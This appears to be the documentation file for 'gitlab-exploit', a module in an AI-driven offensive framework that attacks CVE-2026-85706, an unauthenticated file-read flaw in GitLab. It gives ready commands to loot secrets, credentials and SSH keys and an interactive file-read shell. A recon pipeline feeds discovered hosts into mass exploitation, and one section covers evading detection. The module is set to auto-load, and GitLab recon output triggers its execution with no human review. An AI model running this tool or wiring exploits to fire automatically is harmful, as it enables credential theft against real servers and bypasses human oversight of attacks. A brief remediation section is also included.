gitlab-exploit · git:20260921.3a32414 · 2026-09-21 · sha256 0936571003ee66f4
gitlab-exploit git:20260921.3a32414C
Immutable. This exact content is served forever at /api/v1/blob/0936571003ee66f4.
--- domain: security category: exploit trigger: - gitlab-exploit - cve-2026-85706 - gitlab arbitrary file read - gitlab unauthenticated - gitlab lfi - gitlab workhorse - gitlab secrets auto_load: true --- # gitlab-exploit — CVE-2026-85706 GitLab CE/EE unauthenticated arbitrary file read via Workhorse path-encoding bypass. ## Affected Versions - GitLab CE/EE **18.7.0–19.1.7** - GitLab CE/EE **19.2.0–19.2.5** - GitLab CE/EE **19.3.0–19.3.1** **Patched:** 19.1.8 / 19.2.6 / 19.3.2 ## Vulnerability Summary Workhorse regex validates the encoded path; Puma decodes it; Rails `File.open(file.path)` executes **before** authentication check. Malformed percent-encoding in multipart upload paths gets interpolated into the HTTP 400 error body → arbitrary file contents leak. **Impact:** Read `/etc/passwd`, `/etc/gitlab/gitlab-secrets.json`, Rails secrets, SSH keys, database credentials, application source code. **CVSS:** 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) **Reporter:** s3ntago (HackerOne) **PoC Ref:** `guneykabel/cve-2026-85706` ## Usage ### Single Target ```bash # Auto-detect + loot default secrets python3 testing/gitlab-exploit/gitlab_exploit.py -u https://gitlab.example.com --auto # Read specific file python3 testing/gitlab-exploit/gitlab_exploit.py -u https://gitlab.example.com --file /etc/passwd # Interactive shell python3 testing/gitlab-exploit/gitlab_exploit.py -u https://gitlab.example.com --shell ``` ### Pipeline Mode ```bash # Subfinder + httpx → gitlab-exploit subfinder -d target.com -silent \ | httpx -silent -sc -td -title \ | python3 testing/gitlab-exploit/gitlab_exploit.py --pipe --auto -o hits.jsonl # From file cat hosts.txt | python3 testing/gitlab-exploit/gitlab_exploit.py --auto ``` ## Interactive Shell Commands ``` cat <path> — read arbitrary file loot — dump default secrets (gitlab-secrets.json, database.yml, secrets.yml) secrets — dump Rails secrets.yml passwd — read /etc/passwd version — detect GitLab version project <id> — fetch project info via API curl <path> — raw GET request help — show commands exit — quit shell ``` ## Output - **stdout:** color-coded progress + results - **JSONL:** `--output hits.jsonl` for pipeline integration - **Quiet:** `-q` suppresses banner/logs ## Detection Evasion - Custom User-Agent: `gitlab-exploit/1.2 (+https://github.com/novaestellar/novahaku)` - Randomized project IDs for commits endpoint discovery - No signature in error responses (leverages existing Rails 400 handler) ## Remediation 1. Upgrade to patched version (19.1.8 / 19.2.6 / 19.3.2+) 2. WAF rule: block `%` in multipart filename fields 3. Monitor for 400 errors with file content in response body ## References - CVE-2026-85706 - HackerOne report by s3ntago - PoC: `guneykabel/cve-2026-85706` ## Integration Auto-loaded when Novahaku detects: `gitlab`, `cve-2026-85706`, `workhorse`, `arbitrary file read`, or GitLab-related recon output. **Router dispatch:** `loader.py` maps GitLab recon → `gitlab-exploit` auto-execution. ## Pitfalls - **False negatives:** Version detection via `/api/v4/version` requires unauth API access (may be disabled). Use `--auto` to try exploit regardless. - **Rate limiting:** GitLab may block rapid requests. Use `--delay` for large-scale scans. - **Commit endpoint discovery:** Requires valid project ID. Tool bruteforces common IDs (1-50); extend range with `--project-range`.